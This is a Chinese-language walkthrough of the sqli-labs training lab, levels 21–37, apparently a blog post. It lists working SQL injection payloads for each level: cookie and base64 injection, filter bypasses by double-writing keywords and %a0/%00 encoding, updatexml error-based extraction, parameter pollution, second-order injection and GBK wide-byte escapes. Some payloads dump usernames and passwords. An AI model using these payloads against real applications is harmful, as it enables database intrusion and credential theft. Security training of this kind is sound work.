sqli-labs 21-37关卡

less 21

“基于’)字符型的Cookie注入”
注入语句:
1’) union select 1,database(),3#
编码:MScpIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyM=
在这里插入图片描述

知识点:
在这里插入图片描述

经过代码审计,需要把cookie的值先进行base64加密,才能得到正确的回显数据

less 22

“基于”字符型的Cookie注入”
注入语句:
1” union select 1,database(),3#
编码:MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzIw==
同less 21

less 23

“过滤注释的GET型注入“
Payload:
?id=-1’ union select 1,database(),3 or ‘1’='1 //对–+、#等注释符进行了过滤
在这里插入图片描述

知识点:
源码对 --+、#进行了过滤,所以这里我们只能使用and或者or语句进行闭合
当输入1’ or ‘1’=’1时,即‘1‘=’1‘,与原语句的后半部分闭合,进而实现注入。

less 24

“二次注入”
注册用户名为admin‘ --+的新用户,登录后修改密码,登录用户名为admin&&密码为修改后密码,可登陆成功
原理:
用户向数据库插入恶意语句。
在用户注册时,仅对特殊字符进行了转义,判断输入两次密码是否一致,然后将用户键入,将数据插入至数据库。当修改密码时,直接去除了数据库中的数据,并对该用户的密码进行了更新。

防御:
1.对外部提交数据谨慎
2.从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别

less 25

“过滤“or”和“and”的单引号注入”
Payload:
1.?id=-1’ union select 1,database(),3 or ‘1’=‘1 / ? id=-1’ union select 1,database(),3 and ‘1’=‘1 //无反应 过滤了and和or,无法使用and或者or语句进行闭合
2.?id=-1’ union select 1,database(),3 --+ //获得数据库
3.?id=-1’ union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+ //获得数据表

知识点:
因为过滤了or和and 所以凡是涉及到or、and以及单词中包含“or”或“and“的都需要对”or“和”and“双写进行绕过。

less 25a

“过滤“or”和“and”的注入”
Payload:
1.?id=-1 union select 1,database(),3 --+
2.?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+
同less 25

less 26

“基于‘的过滤”and”、”or”、注释和空格的注入”
Payload:
1.?id=.'aandnd(updatexml(1,concat(0x7e,database()),1));%00 //经过测试发现过滤掉了注释符、空格、and、or,获得数据库名
2.?id=.'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1) //获得表名
Updatexml函数同less 5、过滤“or“和”and“同less 25、过滤注释符同less 23

知识点:
考虑空格:用以下几种url编码代替空格即可:()绕过、%a0空格
过滤了注释符,可以用;%00成功绕过,也可以用and ‘1’=‘1拼接后面的单引号
由于-被过滤所以联合注入时,所以id参数不能用负数,可以随便找个字符或者大一点的数字,让他查询为空从而显示后边的

less 26a

“基于‘)的过滤注释和空格的注入”
Payload:
1.?id=1’) ;%00 //回显正常
2. ?id=.’)aandnd(updatexml(1,concat(0x7e,database()),1));%00
同less 26

less 27

“基于‘的过滤union、select、空格和注释符的注入“
Payload:
1.?id=1’ union select 1,2,3 or ‘1’=’1 //显示过滤union、select、空格
2.?id=.’%a0UNiON%a0SeleCt%a01,basedata(),3%a0;%00 //获得数据库
3.?id=.’%a0UNiON%a0SeleCt%a01,group_concat(username,password),3%a0from%a0users;%00 //获得数据

知识点:
当过滤union、select等词无法使用联合注入时,可以使用updatexml()等报错函数进行注入
也可以使用对union、select大小写混合写或者是双写的方式进行注入

less 27a

“基于”的过滤union、select、空格和注释符的注入“
Payload:
1.?id=1”;%00
2.?id=.”%a0UNiON%a0SeleCt%a01,group_concat(username,password),3%a0from%a0users;%00
同less 27

less 28

“基于’)过滤union和select等的注入”
Payload:
1.?id=1’;%00 //回显异常
2.?id=1’);%00 //回显正常
3.?id=.’) %a0union%a0union%a0select%a0select%a01,group_concat(username,password),3%a0from%a0users;%00
同less 27

知识点:
过滤union select这一个组合,也要过滤空格,可以采用union union select select方法绕过,空格照样用%0a替换

less 28a

“基于’)过滤union和select的注入”
Payload:
1.?id=1’;%00 //回显异常
2.?id=1’);%00 //回显正常
因为只过滤了union和select,所以用union union select select方法绕过即可
同less 28

less 29

“基于单引号的参数污染绕过”
Payload:
?id=1&id=-1’ union select 1,database(),3 --+

知识点:
在HTTP协议中允许同样名称的参数出现多次,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。
在这里插入图片描述

因为是PHP/Apache服务器,所以获取到的参数是第二个参数。
如果对第一个参数注入,就直接会被拦截。所以对第二个参数注入。

less 30

“基于"的参数污染绕过”
Payload:
?id=1&id=-1" union select 1,2,3 --+
同less 29

less 31

“基于")的参数污染绕过”
Payload:
?id=1&id=-1") union select 1,2,3 --+
同less 29

less 32

“宽字节注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+

知识点:
这里使用函数将特殊字符转化为实体,就是说在字符转义,添加‘\’。 设置宽字节字符集,这里为GBK字符集,GBK字符集占用两个字节。当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的url编码是%df%5c’.这时候网站字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df\是一个汉字,这样的话,单引号前面的\就不起作用了,从而转义失败,题目就会出现报错信息。

less 33

“get方式宽字节注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+
同less 32

less 34

“post方式宽字节注入”
注入语句:
admin%df’ union select 1,database() #
在这里插入图片描述

同less 32

less 35

“数值型注入”
Payload:
?id=-1 union select 1,database(),3 --+
同less 2

less 36

“宽字节注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+
知识点:
mysql_real_escape_string转义SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。mysql_real_escape_string()不转义“%”和“_“。

less 37

“宽字节post注入“
注入语句:
admin%df’ union select 1,database() #
在这里插入图片描述

同less 32

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值